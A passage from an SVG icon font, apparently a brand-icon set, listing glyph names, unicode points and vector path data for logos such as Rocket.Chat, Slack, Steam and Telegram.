c-28.2002 8.30078 -53.4004 25.3008 -53.4004 54.3008v101.8c0 29.2998 24.2002 54.2998 53.4004 54.2998h106.8c35.5996 0 66.7998 31 66.7998 67.7998v47.4004h40.1006c31.0996 0 45.6992 -23.2998 53.3994 -54.2002zM286.2 44c-11 0 -20 -9 -20.1006 -20.2998
c0 -11.2002 9.10059 -20.4004 20.1006 -20.4004c11.0996 0 20.0996 9.10059 20.0996 20.4004c0 11.2002 -9 20.2998 -20.0996 20.2998zM167.8 199.9c-36.2998 0 -66.7998 -31.1006 -66.7998 -66.4004v-48.7998h-36.7002c-31.0996 0 -49.2002 22.5996 -56.7998 54.2002
c-10.2002 42.5 -9.7998 67.8994 0 108.6c8.5 35.5 35.7002 54.2002 66.7998 54.2002h147v13.5996h-106.899v40.7002c0 30.9004 8.19922 47.5996 53.3994 55.5996c32.1006 5.7002 71 6 106.8 0.100586c29 -4.90039 53.4004 -26.6006 53.4004 -55.6006v-101.899
c0 -29.7998 -23.7002 -54.2998 -53.4004 -54.2998h-106.8zM161.1 342.5c11.1006 0 20.1006 9.09961 20.1006 20.2998s-9.10059 20.4004 -20.1006 20.4004c-11.0996 0 -20 -9.10059 -20.0996 -20.4004c0 -11.2002 9 -20.2998 20.0996 -20.2998z" />
    <glyph glyph-name="red-river" unicode="&#xf3e3;" 
d="M353.2 416c52.3994 0 94.7998 -42.4004 94.7998 -94.7998v-258.4c0 -52.3994 -42.4004 -94.7998 -94.7998 -94.7998h-258.4c-52.3994 0 -94.7998 42.4004 -94.7998 94.7998v258.4c0 52.3994 42.4004 94.7998 94.7998 94.7998h258.4zM144.9 247.1
c-0.600586 12.4004 11.6992 24.6006 24 24h56.2998c27 0 48.8994 21.9004 48.8994 48.9004h-154.199c-13.2002 0 -23.9004 -10.7002 -23.9004 -23.9004v-154.199c27 0 48.9004 21.8994 48.9004 48.8994v56.2998zM321.2 175.1c27 0 48.8994 21.9004 48.8994 48.9004h-154.199
c-13.2002 0 -23.9004 -10.7002 -23.9004 -23.9004v-154.199c27 0 48.9004 21.8994 48.9004 48.8994v56.2998c-0.600586 12.4004 11.6992 24.6006 24 24h56.2998z" />
    <glyph glyph-name="wpressr" unicode="&#xf3e4;" horiz-adv-x="496" 
d="M248 440c136.97 0 248 -111.03 248 -248s-111.03 -248 -248 -248s-248 111.03 -248 248s111.03 248 248 248zM419.33 281.4c2.41016 5.47949 0.459961 8.2793 -5.62012 8.26953c-104.8 0.00976562 -107.69 -0.0302734 -130.78 0.0302734
c-4.31934 0.00976562 -7.10938 -1.82031 -8.83984 -5.78027c-5.70996 -13.0996 -11.5195 -26.1504 -17.2998 -39.21c-2.57031 -5.7998 -1 -8.26953 5.26953 -8.26953c25.2607 0 50.5205 -0.0107422 75.7803 0.0195312
c10.0303 0.00976562 8.54004 -13.6602 -3.89941 -13.6396c-26.4307 0.0498047 -52.8604 0 -79.29 0.0498047c-4.91016 0.00976562 -8.33008 -1.88965 -10.3506 -6.5c-4.2998 -9.83008 -32.1494 -73.0801 -32.1895 -73.1602
c-3.2002 -7.16016 -16.2607 -6.09961 -11.2803 5.33008c8.26953 18.9902 16.6504 37.9297 24.9795 56.8896c2.25 5.11035 -0.0996094 8.74023 -5.65918 8.75c-15.21 0.0205078 -30.4307 -0.0400391 -45.6406 0.0400391
c-3.35938 0.0107422 -5.41016 -1.29004 -6.76953 -4.38965c-31.4307 -71.8701 -29.7803 -67.3203 -30.0098 -67.6904c-3.87012 -6.37012 -14.8604 -3.34961 -10.9502 5.60059c5.66992 13.0098 11.3701 26.0098 17.0898 39c13.5703 30.7793 27.1396 61.5596 40.7402 92.3301
c2.54004 5.75 -0.419922 10.5801 -6.66016 10.5898c-14.2402 0.0302734 -28.4805 -0.0498047 -42.7197 0.0498047c-4.26074 0.0302734 -6.84082 -1.76953 -8.54004 -5.65039c-12.8604 -29.3896 -25.8203 -58.7295 -38.75 -88.0791
c-8.62012 -19.5605 -17.2305 -39.1201 -25.8906 -58.6602c-1.58008 -3.55078 -1.47949 -6.78027 1.20996 -9.73047c11.2207 -12.3096 22.4707 -24.6094 33.6807 -36.9395c2.08984 -2.30078 4.58984 -3.4502 7.71973 -3.4502c45.9395 0.0195312 91.8701 0.00976562 137.81 0
c3.86035 0 6.37988 1.78027 7.91992 5.29004c10.3203 23.5 20.7607 46.9395 30.9502 70.5c2.08984 4.83008 5.21973 6.75 10.3398 6.71973c23.0205 -0.110352 46.0303 -0.0400391 69.0508 -0.0498047c6.0791 0 10.5293 2.72949 12.9697 8.24023
c15.2598 34.4795 30.4502 68.9893 45.6299 103.5z" />
    <glyph glyph-name="replyd" unicode="&#xf3e6;" 
d="M320 -32h-192c-70.4004 0 -128 57.5996 -128 128v192c0 70.4004 57.5996 128 128 128h192c70.4004 0 128 -57.5996 128 -128v-192c0 -70.4004 -57.5996 -128 -128 -128zM193.4 174.8c-6.10059 2 -11.6006 3.10059 -16.4004 3.10059
c-7.2002 0 -13.5 -1.90039 -18.9004 -5.60059c-5.39941 -3.7002 -9.59961 -9 -12.7998 -15.7998h-1.09961l-4.2002 18.2998h-28v-138.899h36.0996v89.6992c1.5 5.40039 4.40039 9.80078 8.7002 13.2002c4.2998 3.40039 9.7998 5.10059 16.2002 5.10059
c4.59961 0 9.7998 -1 15.5996 -3.10059zM308.6 71.4004c-3.19922 -2.40039 -7.69922 -4.80078 -13.6992 -7.10059s-12.8008 -3.5 -20.4004 -3.5c-12.2002 0 -21.0996 3 -26.5 8.90039c-5.5 5.89941 -8.5 14.7002 -9 26.3994h83.2998
c0.900391 4.80078 1.60059 9.40039 2.10059 13.9004c0.5 4.40039 0.699219 8.59961 0.699219 12.5c0 10.7002 -1.59961 19.7002 -4.69922 26.9004c-3.2002 7.19922 -7.30078 13 -12.5 17.1992c-5.2002 4.30078 -11.1006 7.30078 -17.8008 9.2002
c-6.69922 1.7998 -13.5 2.7998 -20.5996 2.7998c-21.0996 0 -37.5 -6.09961 -49.2002 -18.2998s-17.5 -30.5 -17.5 -55c0 -22.7998 5.2002 -40.7002 15.6006 -53.7002c10.3994 -13.0996 26.7998 -19.5996 49.1992 -19.5996c10.7002 0 20.9004 1.5 30.4004 4.59961
c9.5 3.10059 17.0996 6.80078 22.5996 11.2002zM286.8 141.7c3.7998 -5.40039 5.2998 -13.1006 4.60059 -23.1006h-51.7002c0.899414 9.40039 3.7002 17 8.2002 22.6006c4.5 5.59961 11.5 8.5 21 8.5c8.19922 0.0996094 14.0996 -2.60059 17.8994 -8zM366.7 139.2
c4.09961 -3.90039 9.39941 -5.7998 16.0996 -5.7998c7 0 12.6006 1.89941 16.7002 5.7998c4.09961 3.89941 6.09961 9.09961 6.09961 15.5996s-2 11.6006 -6.09961 15.4004s-9.59961 5.7002 -16.7002 5.7002c-6.7002 0 -12 -1.90039 -16.0996 -5.7002
c-4.10059 -3.7998 -6.10059 -8.90039 -6.10059 -15.4004s2 -11.7002 6.10059 -15.5996zM366.7 38.7002c4.09961 -3.90039 9.39941 -5.7998 16.0996 -5.7998c7 0 12.6006 1.89941 16.7002 5.7998c4.09961 3.89941 6.09961 9.09961 6.09961 15.5996
s-2 11.6006 -6.09961 15.4004s-9.59961 5.7002 -16.7002 5.7002c-6.7002 0 -12 -1.90039 -16.0996 -5.7002c-4.10059 -3.7998 -6.10059 -8.90039 -6.10059 -15.4004c0 -6.59961 2 -11.7002 6.10059 -15.5996z" />
    <glyph glyph-name="resolving" unicode="&#xf3e7;" horiz-adv-x="496" 
d="M281.2 169.8l-197.9 -57.2002l-28.5996 98.6006l188.2 54.0996c52.6992 15.2998 65 8.10059 71.0996 -12.7998l11.2002 -39.2998c5.59961 -19.9004 2 -30.1006 -44 -43.4004zM248.5 440c137 0 248.5 -111.4 247.5 -247.7c0 -136.899 -111.5 -248.3 -248.5 -248.3
c-46 0 -89.5 12.7002 -126.3 34.7002l-23 80.2002l286.8 -37.3008l48.0996 13.3008l-9.69922 34.1992l-220.4 27.1006l92.5996 26.5996c30.2002 8.7002 42 15.7998 61.4004 33.2002c24.5 23 31.7002 45.5 23.5 73.5996l-10.7002 37.8008
c-8.7002 30.1992 -25.0996 49.0996 -61.3994 55.1992c-25.1006 3.5 -44.5 2 -79.3008 -8.19922l-221.899 -63.9004c26 108.8 124.2 189.5 241.3 189.5zM38.2998 59.4004c-24 38.3994 -38.2998 83.2998 -38.2998 131.8z" />
    <glyph glyph-name="rocketchat" unicode="&#xf3e8;" horiz-adv-x="576" 
d="M486.41 340.43c119.649 -76.54 119.26 -221 0 -297.14c-77.1201 -50.9199 -179.37 -62.3896 -264.12 -47.1602c-95.5205 -91.1895 -201.72 -49.1602 -222.29 -37c0 0 73.0801 62.1006 61.21 116.49c-45.3896 46.3701 -86.5195 144.57 0 232.77
c11.8701 54.3906 -61.21 116.49 -61.21 116.49c20.7695 12.1201 127.26 54.2803 222.29 -37.3799c84.9404 15.3301 187.19 3.75977 264.12 -47.0703zM294.18 43.7803c126.67 0 229.409 66.2197 229.409 148.22s-102.74 148.43 -229.41 148.43
s-229.41 -66.4297 -229.41 -148.43c0 -35.79 19.4707 -68.5195 52 -94.1299c9.11426 -29.127 3.78125 -62.0234 -15.999 -98.6904c-0.889648 -1.67969 -1.76953 -3.45996 -2.76953 -5.23926c15.0498 1.33594 38.2158 7.93555 51.71 14.7295
c11.0684 6.26562 27.46 18.5361 36.5898 27.3896l19.7705 19.0908c23.6396 -6.27734 62.6758 -11.3721 87.1348 -11.3721c0.269531 0 0.706055 0.000976562 0.974609 0.00195312zM184.119 156.7c-0.133789 -0.00195312 -0.351562 -0.00390625 -0.485352 -0.00390625
c-18.6182 0 -33.9912 15.1084 -34.3145 33.7236c-0.700195 45.3896 67.8301 46.3799 68.5195 1.08984v-0.509766c0.000976562 -0.0888672 0.00195312 -0.232422 0.00195312 -0.321289c0 -18.6152 -15.1074 -33.8467 -33.7217 -33.999v0.0205078zM257.889 190.42
c-0.790039 45.3896 67.7402 46.4805 68.5303 1.19043v-0.610352c0.389648 -45.0801 -67.7402 -45.5703 -68.5303 -0.580078zM401.269 156.7c-0.133789 -0.00195312 -0.350586 -0.00390625 -0.485352 -0.00390625c-18.6182 0 -33.9951 15.1084 -34.3242 33.7236
c-0.69043 45.3896 67.8398 46.3799 68.5303 1.08984v-0.509766c0.000976562 -0.119141 0.00292969 -0.311523 0.00292969 -0.430664c0 -18.6152 -15.1084 -33.7979 -33.7236 -33.8896v0.0205078z" />
    <glyph glyph-name="rockrms" unicode="&#xf3e9;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM405.4 20.5l-101.5 118.9s73.5996 0.199219 74.1992 0.199219c29.6006 -1.09961 46.6006 33.3008 27.6006 56.1006l-157.7 185.1c-13.2002 17.2998 -40.0996 18.4004 -54.5 0
l-147.1 -172.5h90l84.2998 98.9004l84.5996 -99.2998h-75.2998c-30.5 0 -44.5 -35.7002 -26.5996 -56.1006l112 -131.3h90z" />
    <glyph glyph-name="schlix" unicode="&#xf3ea;" 
d="M350.5 290.3l-54.2002 46.1006l73.4004 39l78.2998 -44.2002zM192 325.9l45.7002 28.1992l34.7002 -34.5996l-55.4004 -29zM126.9 319.3l31.8994 22.1006l17.2002 -28.4004l-36.7002 -22.5zM103.6 231.1l-8.7998 34.8008l29.6006 18.2998l13.0996 -35.2998z
M82.4004 314.8l23.8994 18.1006l8.90039 -24l-26.7002 -18.3008zM59 241.5l-3.59961 28.4004l22.2998 15.5l6.09961 -28.7002zM28.4004 224.9l20.7998 12.7998l3.2998 -33.4004l-22.9004 -12zM1.40039 180l19.1992 10.2002l0.400391 -38.2002l-21 -8.7998zM60.5 120.7
l-28.2998 -8.2998l-1.60059 46.7998l25.1006 10.7002zM99 184.8l-31.0996 -13l-5.2002 40.7998l27.3994 14.4004zM123.2 71l-41.6006 -5.90039l-8.09961 63.5l35.2002 10.8008zM151.7 210.9l21.2002 -57.1006l-46.2002 -13.5996l-13.7002 54.0996zM237.4 -19.5996
l-70.9004 3.2998l-24.2998 95.7998l55.2002 8.59961zM152.5 260.1l42.2002 22.4004l28 -45.9004l-50.7998 -21.2998zM193.5 165.2l61.2998 18.7002l52.7998 -86.6006l-79.7998 -11.2998zM244.9 250.8l67.2998 28.7998l65.5 -65.3994l-88.6006 -26.2002z" />
    <glyph glyph-name="searchengin" unicode="&#xf3eb;" horiz-adv-x="460" 
d="M220.6 317.7l-67.1992 -209.3v130.3l-54.7002 -24.2002l54.7002 190.3v-115.3zM137.4 414.4l-1.30078 -4.7002l-15.1992 -52.9004c-40.3008 -15.5 -68.9004 -54.5996 -68.9004 -100.3c0 -52.2998 34.2998 -95.9004 83.4004 -105.5v-53.5996
c-77.9004 10.5 -135.4 78.1992 -135.4 159c0 80.5 59.7998 147.199 137.4 158zM448.8 -32.7998c-11.2002 -11.2002 -23.0996 -12.2998 -28.5996 -10.5c-5.40039 1.7998 -27.1006 19.8994 -60.4004 44.3994c-33.2998 24.6006 -33.5996 35.7002 -43 56.7002
c-9.39941 20.9004 -30.3994 42.6006 -57.5 52.4004l-9.7002 14.7002c-24.6992 -16.9004 -53 -26.9004 -81.2998 -28.7002l2.10059 6.59961l15.8994 49.5c46.5 11.9004 80.9004 54 80.9004 104.2c0 54.5 -38.4004 102.1 -96 107.1v52.1006
c83.2002 -5.10059 148.8 -74.5 148.8 -159.3c0 -33.6006 -11.2002 -64.7002 -29 -90.4004l14.5996 -9.59961c9.80078 -27.1006 31.5 -48 52.4004 -57.4004s32.2002 -9.7002 56.7998 -43c24.6006 -33.2002 42.7002 -54.9004 44.5 -60.2998
c1.7998 -5.40039 0.700195 -17.2998 -10.5 -28.5zM438.9 -14.9004c0 4.40039 -3.60059 8 -8 8c-4.40039 0 -8 -3.59961 -8 -8c0 -4.39941 3.59961 -8 8 -8c4.39941 0 8 3.60059 8 8z" />
    <glyph glyph-name="servicestack" unicode="&#xf3ec;" horiz-adv-x="496" 
d="M88 232c81.7002 -10.2002 273.7 -102.3 304 -232h-392c99.5 8.09961 184.5 137 88 232zM120 384c102.8 -15.5 335.3 -167.9 376 -384h-96c-26.2998 126.7 -150.7 216.7 -233.6 250.4c1.2998 49.6992 -14.1006 98 -46.4004 133.6z" />
    <glyph glyph-name="sistrix" unicode="&#xf3ee;" 
d="M448 -1l-30.5 -31l-146 148.1c-28.7002 -23.6992 -65.2002 -37.8994 -105 -37.8994c-91.7998 0 -166.5 75.7998 -166.5 168.899c0 93.1006 74.7002 168.9 166.6 168.801c91.8008 0 166.5 -75.8008 166.5 -168.9c0 -37 -11.8994 -71.2998 -31.8994 -99.2002zM166.5 117.2
c70.7002 0 128.1 58.2998 128.1 129.899c0 71.6006 -57.5 129.9 -128.1 129.9s-128.1 -58.2998 -128.1 -129.9c0 -71.5996 57.5 -129.899 128.1 -129.899z" />
    <glyph glyph-name="slack-hash" unicode="&#xf3ef;" 
d="M446.2 177.6c6.2002 -19 -3.90039 -39.6992 -22.9004 -45.6992l-45.3994 -15.1006l15.6992 -47c6.10059 -19.0996 -3.89941 -39.7002 -23 -45.8994c-21.2998 -6.10059 -40.0996 6 -46 22.8994l-15.6992 47l-93.6006 -31.2998l15.7002 -47
c6.09961 -19.0996 -3.90039 -39.7002 -23 -45.9004c-21.2998 -6.09961 -40.0996 6 -46 22.9004l-15.7002 47c-45.7002 -15.2002 -50.8994 -17.7998 -57.7002 -16.7998c-14.5 0.599609 -28.5996 10.0996 -33.5996 24.5996c-6.09961 19 4 39.7002 23 45.9004l45.4004 15.0996
l-30.3008 90c-45.6992 -15.2002 -50.8994 -17.7998 -57.6992 -16.7998c-14.5 0.599609 -28.6006 10.0996 -33.6006 24.5996c-6.09961 19.1006 3.90039 39.7002 23 45.9004l45.2998 15l-15.6992 47c-6.10059 19.0996 3.89941 39.7002 23 45.9004
c19.0996 6.19922 39.7998 -3.90039 46 -22.9004l15.6992 -47l93.4004 31.2002l-15.7002 47c-6.09961 19.0996 3.90039 39.7002 23 45.8994c19.1006 6.2002 39.7998 -3.89941 46 -22.8994l15.7002 -47l45.4004 15.0996c19.0996 6.2002 39.7998 -3.89941 46 -22.8994
c6.09961 -19.1006 -3.90039 -39.7002 -23 -45.9004l-45.4004 -15.0996l30.2998 -90l45.4004 15.0996c19.0996 6.2002 39.7998 -3.90039 46 -22.9004zM192.1 130.4l93.5 31.2998l-30.2998 90.2002l-93.5 -31.3008z" />
    <glyph glyph-name="speakap" unicode="&#xf3f3;" 
d="M64 56.2197c-79.4102 88.1904 -72 224.36 16.6396 304.141c88.6406 79.7793 224.801 73 304.21 -15.2402c79.4102 -88.2402 72 -224.36 -16.6396 -304.14c-18.7402 -16.8701 64 -43.0908 42 -52.2607c-82.0596 -34.21 -253.91 -35 -346.229 67.5h0.0195312z
M277.31 267.82l38.5 40.8594c-9.60938 8.89062 -32 26.8301 -76.1699 27.6006c-52.3301 0.910156 -95.8594 -28.2998 -96.7695 -80c-0.200195 -11.3301 0.290039 -36.7207 29.4199 -54.8301c34.46 -21.4199 86.5195 -21.5098 86 -52.2598
c-0.370117 -21.2803 -26.4199 -25.8105 -38.5898 -25.6006c-3 0.0498047 -30.2305 0.459961 -47.6104 24.6201l-40 -42.6104c28.1602 -27 59 -32.6191 83.4902 -33.0498c10.2295 -0.179688 96.4199 -0.330078 97.8398 81
c0.280273 15.8105 -2.07031 39.7197 -28.8604 56.5898c-34.3594 21.6406 -85 19.4502 -84.4297 49.75c0.410156 23.25 31 25.3701 37.5303 25.2607c0.429688 0 26.6201 -0.260742 39.6201 -17.3701z" />
    <glyph glyph-name="staylinked" unicode="&#xf3f5;" horiz-adv-x="440" 
d="M382.7 155.5l44.2998 -41.2998c3.7002 -3.5 3.2998 -9 -0.700195 -12.2002l-198 -163.9c-9.89941 -7.59961 -17.2998 -0.799805 -17.2998 -0.799805l-208.7 196.101c-3.5 3.5 -3 9 1.2002 12.1992l45.7998 34.9004c4.2002 3.2002 10.4004 3 13.9004 -0.5l151.899 -147.5
c3.7002 -3.5 10 -3.7002 14.2002 -0.400391l93.2002 74c4.09961 3.2002 4.5 8.7002 0.900391 12.2002l-84 81.2998c-3.60059 3.5 -9.90039 3.7002 -14 0.5l-0.100586 -0.0996094c-4.09961 -3.2002 -10.3994 -3 -14 0.5l-68.0996 64.2998
c-3.5 3.5 -3.10059 9 1.09961 12.2002l57.2998 43.5996c4.10059 3.2002 10.3008 3 13.8008 -0.5l170 -167.3zM437.2 238.9c3.7002 -3.5 3.39941 -9 -0.700195 -12.2002l-45.7998 -35.7998c-4.10059 -3.2002 -10.4004 -3 -14.1006 0.5l-160.399 159
c-3.60059 3.5 -9.7998 3.69922 -13.9004 0.5l-92.2002 -71.5c-4.19922 -3.30078 -4.69922 -8.7002 -1.09961 -12.2002l94.5996 -91.7998c3.7002 -3.5 10 -3.60059 14.2002 -0.400391l0.100586 0.0996094c4.19922 3.2002 10.5996 3 14.1992 -0.5l57.1006 -54.3994
c3.7002 -3.5 3.2998 -9 -0.900391 -12.2002l-7.7002 -6l0.300781 -0.299805l-50.2002 -38.7998c-4.2002 -3.30078 -10.6006 -3.10059 -14.2998 0.399414l-171.7 165.101l-42.2998 41.6992c-3.60059 3.5 -3 9 1.19922 12.2002l206.801 162.101
c8.2998 6.59961 14.7998 2.2998 16.2998 1.09961z" />
    <glyph glyph-name="steam-symbol" unicode="&#xf3f6;" 
d="M395.5 270.5c0 -33.7998 -27.5 -61 -61 -61c-33.7998 0 -61 27.2998 -61 61s27.2998 61 61 61c33.5 0 61 -27.2002 61 -61zM448 270.3c0 -63 -51 -113.8 -113.7 -113.8l-109.3 -79.7998c-4 -43 -40.5 -76.7998 -84.5 -76.7998c-40.5 0 -74.7002 28.7998 -83 67
l-57.5 23.0996v107.3l97.2002 -39.2998c15.0996 9.2002 32.2002 13.2998 52 11.5l71 101.7c0.5 62.2998 51.5 112.8 114 112.8c62.7998 0 113.8 -51 113.8 -113.7zM203 85c0 34.7002 -27.7998 62.5 -62.5 62.5c-4.5 0 -9 -0.5 -13.5 -1.5l26 -10.5
c25.5 -10.2002 38 -39 27.7002 -64.5c-10.2002 -25.5 -39.2002 -38 -64.7002 -27.5c-10.2002 4 -20.5 8.2998 -30.7002 12.2002c10.5 -19.7002 31.2002 -33.2002 55.2002 -33.2002c34.7002 0 62.5 27.7998 62.5 62.5zM410.5 270.3c0 42 -34.2998 76.2002 -76.2002 76.2002
c-42.2998 0 -76.5 -34.2002 -76.5 -76.2002c0 -42.2002 34.2998 -76.2002 76.5 -76.2002c41.9004 -0.0996094 76.2002 33.9004 76.2002 76.2002z" />
    <glyph glyph-name="sticker-mule" unicode="&#xf3f7;" horiz-adv-x="576" 
d="M561.7 248.4c-1.2998 -0.300781 0.299805 0 0 0zM555.5 325.8c20.2002 -50.0996 20.5996 -45.2002 20.5996 -52.8994c0 -7.5 -4.09961 -11 -7.19922 -16.5c-1.5 -3 -4.60059 -7.5 -7.2002 -8c-0.400391 0 -3 -0.5 -13.4004 -2.5c-7.2002 -1 -13.3994 4.5 -14.8994 9.5
c-1.60059 4.69922 2.7998 10.0996 -11.8008 22.8994c-10.2998 10 -21.0996 11.2998 -31.8994 17c-9.7998 5.7002 -11.9004 -1 -18 -8c-18 -22.8994 -34 -46.8994 -52 -69.7998c-11.7998 -15 -24.2002 -30.4004 -33.5 -47.4004
c-3.90039 -6.7998 -9.5 -28.0996 -10.2998 -29.8994c-6.2002 -17.7002 -5.5 -25.7998 -16.5 -68.2998c-3.10059 -10 -5.7002 -21.4004 -8.7002 -32.4004c-2.2002 -6.7998 -7.40039 -49.2998 -0.5 -59.4004c2.09961 -3.5 8.7002 -4.5 11.2998 -8
c0.0996094 -0.0996094 9.59961 -18.1992 9.2998 -20c0 -6.09961 -9.39941 -5.59961 -11.2998 -6.5c-4.7998 -2.89941 -3.7998 -5.89941 -6.40039 -7.39941c-5.89941 -2.90039 -32.0996 -3.2002 -36.5 0.5c-4.09961 3 -2.19922 11.8994 -1.5 15
c2.2002 15 -2.5 7.89941 -9.7998 11.5c-3.09961 1.5 -4.09961 5.5 -4.59961 10c-0.5 1.5 -1 2.5 -1.5 3.5c-1.7002 10.7002 6.7998 33.5996 8.2002 43.3994c4.89941 23.7002 -0.700195 37.2002 1.5 46.9004c3.69922 16.2002 4.09961 3.5 4.09961 29.9004
c-1.40039 25.8994 3.2998 36.8994 0.5 38.8994c-14.7998 0 -64.2998 -10.7002 -112.2 -2c-46.0996 8.90039 -59.3994 29 -65.3994 30.9004c-10.3008 4.5 -23.2002 -0.5 -27.3008 -7c-0.0996094 -0.100586 -35 -70.6006 -39.5996 -87.7998
c-6.2002 -20.5 -0.5 -47.4004 4.09961 -66.8008c0 -0.0996094 4.5 -14.5996 10.3008 -19.5c2.09961 -1.5 5.09961 -2.5 7.19922 -4.5c2.80078 -2.69922 9.40039 -15.1992 9.80078 -16c2.59961 -4.5 3.59961 -8 -1.5 -10.5c-3.60059 -2 -9.30078 -2.5 -14.4004 -2.5
c-2.59961 -0.5 -1.5 -3.5 -3.09961 -5c-2.90039 -2.7998 -20.7002 -6.09961 -29.9004 -2.5c-2.59961 1 -5.7002 3 -6.2002 5c-1.5 4 2.10059 9 -1 12.5c-4.5 2.90039 -13.0996 2 -17 12c-2.2002 5.40039 -2.59961 7.60059 -2.59961 49.4004
c0 9.7002 -5.90039 38.7002 -8.2002 46.9004c-1.5 5.5 -1.5 11.5 0 16c0.299805 0.899414 4.09961 4.59961 4.09961 13c-1 1.5 -4.59961 0.5 -5.09961 1.5c-10.4004 80.5996 -5.90039 79 -7.7002 98.2998c-1.5 16 -10.8994 43.8994 -6.7002 64.2998
c0.5 2.40039 3.40039 21 24.2002 38.9004c31 26.6992 48.4004 38.2998 159 11.5c1.10059 -0.400391 66.2998 -21.1006 110.7 9c15.5 11.2998 28.7998 11.2998 35.5 16c0.0996094 0.0996094 61.7002 52.0996 87 65.2998c47.2002 29.3994 69.9004 16.7002 75.0996 18
c4.7002 1 13.4004 25.7998 17 25.7998c5.5 0 1.60059 -20.2002 3.60059 -25.9004c0.5 -2 3.59961 -5 6.2002 -5c2.2998 0 1.69922 0.800781 10.2998 5c8.39941 5.40039 14.8994 17.6006 20.5996 17c11.7002 -1.59961 -19 -41.5996 -19 -46.8994
c0 -2 0.200195 -0.799805 4.60059 -9.5c2.59961 -5.5 4.59961 -13.5 6.19922 -20c8.30078 -29.7002 5.7002 -14.6006 13.4004 -36.9004z" />
    <glyph glyph-name="studiovinari" unicode="&#xf3f8;" horiz-adv-x="512" 
d="M480.3 260.3l4.2002 -28v-28l-25.0996 -44.0996l-39.8008 -78.4004l-56.0996 -67.5l-79.0996 -37.7998l-17.7002 -24.5l-7.7002 -12l-9.59961 -4s17.2998 63.5996 19.3994 63.5996c2.10059 0 20.2998 -0.699219 20.2998 -0.699219l66.7002 38.5996l-92.5 -26.0996
l-55.8994 -36.8008l-22.8008 -28l-6.59961 -1.39941l20.7998 73.5996l6.90039 5.5l20.7002 -12.8994l88.2998 45.1992l56.7998 51.5l14.7998 68.4004l-125.399 -23.2998l15.1992 18.2002l-173.399 53.2998l81.8994 10.5l-166 122.899l114.9 -18.0996l-101.3 108
l252.899 -126.6l-31.5 38l124.4 -74.4004l-143.3 99l18.7002 -38.4004l-49.6006 18.1006l-45.5 84.2998l194.601 -122l-42.9004 55.7998l108 -96.3994l12 8.89941l-21 16.4004l4.2002 37.7998l37.7998 10.4004l29.2002 -24.7002l11.5 -4.2002l-7 -6.2002l8.5 -12
l-13.1006 -7.39941l-10.2998 -20.2002z" />
    <glyph glyph-name="supple" unicode="&#xf3f9;" horiz-adv-x="640" 
d="M640 185.5c0 -64.0996 -109 -116.1 -243.5 -116.1c-24.7998 0 -48.5996 1.7998 -71.0996 5c7.69922 -0.400391 15.5 -0.600586 23.3994 -0.600586c134.5 0 243.5 56.9004 243.5 127.101c0 29.3994 -19.0996 56.3994 -51.2002 78
c60 -21.1006 98.9004 -55.1006 98.9004 -93.4004zM47.7002 220.1c0.0996094 -29.3994 19.2998 -56.5 51.5996 -78c-60.2002 21 -99.2002 55 -99.2998 93.3008c-0.0996094 64.0996 108.8 116.3 243.3 116.699c24.7002 0 48.5 -1.69922 71 -4.89941
c-7.7002 0.299805 -15.3994 0.5 -23.2998 0.5c-134.5 -0.299805 -243.4 -57.4004 -243.3 -127.601zM107.9 180.2l8.7998 10.8994s8.7998 -10.0996 20.7002 -10.0996c6.5 0 12.2998 3.5 12.2998 10.0996c0 14.5 -40.2002 13.3008 -40.2002 39.9004
c0 13.9004 12 24.0996 28.5 24.0996c10 0 25.4004 -4.69922 25.4004 -16.7998v-7.89941h-14.2002v3.89941c0 4 -5.60059 6.60059 -11.2998 6.60059c-7.2002 0 -12.5 -3.7002 -12.5 -9.10059c0 -14.5996 40.1992 -11.7002 40.1992 -39.7002
c0 -13.5996 -10.5 -25.0996 -28.3994 -25.0996c-18.7998 0 -29.2998 13.2002 -29.2998 13.2002zM228.7 253.8h15.7002v-55c0 -18.8994 -13.3008 -31.8994 -33.4004 -31.8994c-20.2998 0 -33.7002 13 -33.7002 31.8994v55h15.7998v-54.5
c0 -11.2002 7.10059 -17.7002 17.8008 -17.7002c10.6992 0 17.7998 6.5 17.7998 17.8008v54.3994zM263.1 168.4v72h-7.7998v13.3994h39.1006c16 0 27.1992 -11.2002 27.1992 -27.7998s-11.1992 -28.0996 -27.1992 -28.0996h-15.5v-29.5h-15.8008zM278.9 211.4h12.5996
c8.90039 0 14 5.7998 14 14.6992c0 8.7002 -5 14.4004 -13.7002 14.4004h-12.8994v-29.0996zM335.9 168.4v72h-7.80078v13.3994h39.1006c16 0 27.2002 -11.2002 27.2002 -27.7998s-11.2002 -28.0996 -27.2002 -28.0996h-15.5v-29.5h-15.7998zM351.6 211.4h12.6006
c9 0 14 5.7998 14 14.6992c0 8.7002 -5 14.4004 -13.7002 14.4004h-12.9004v-29.0996zM408.7 176.6h0.0996094v61.2002c0 1.60059 -0.899414 2.60059 -2.59961 2.60059h-5.2002v13.3994h15.4004c5.7998 0 8.19922 -2.5 8.19922 -8.2002v-61.1992
c0 -1.60059 0.900391 -2.60059 2.60059 -2.60059h18.5996c1.60059 0 2.60059 0.900391 2.60059 2.60059v5.19922h14.2998v-13c0 -5.7998 -2.40039 -8.19922 -8.2002 -8.19922h-37.5996c-5.80078 0 -8.2002 2.39941 -8.2002 8.19922zM472.1 176.6h-0.0996094v63.9004h-7.7998
v13.4004h51.5996c5.7002 0 8.2002 -2.5 8.2002 -8.2002v-13h-14.2002v5.2002c0 1.59961 -0.899414 2.59961 -2.59961 2.59961h-19.2002v-22.4004h27.7002v-13.3994h-27.7002v-20.2998c0 -1.60059 0.900391 -2.60059 2.59961 -2.60059h19.7002
c1.60059 0 2.60059 0.900391 2.60059 2.60059v5.19922h14.2998v-13c0 -5.7998 -2.5 -8.19922 -8.2002 -8.19922h-38.7002c-5.7998 0 -8.2002 2.39941 -8.2002 8.19922zM531 252.6h-2.7002v1.2002h7v-1.2002h-2.7002v-5.89941h-1.59961v5.89941zM536.7 253.8h2.39941
l2.10059 -5.09961l2.09961 5.09961h2.2998v-7.09961h-1.5v5.7002l-2.2998 -5.7002h-1.2998l-2.2998 5.7002v-5.7002h-1.5v7.09961z" />
    <glyph glyph-name="telegram-plane" unicode="&#xf3fe;" 
d="M446.7 349.4l-67.6006 -318.801c-5.09961 -22.5 -18.3994 -28.0996 -37.2998 -17.5l-103 75.9004l-49.7002 -47.7998c-5.5 -5.5 -10.0996 -10.1006 -20.6992 -10.1006l7.39941 104.9l190.9 172.5c8.2998 7.40039 -1.7998 11.5 -12.9004 4.09961l-236 -148.6
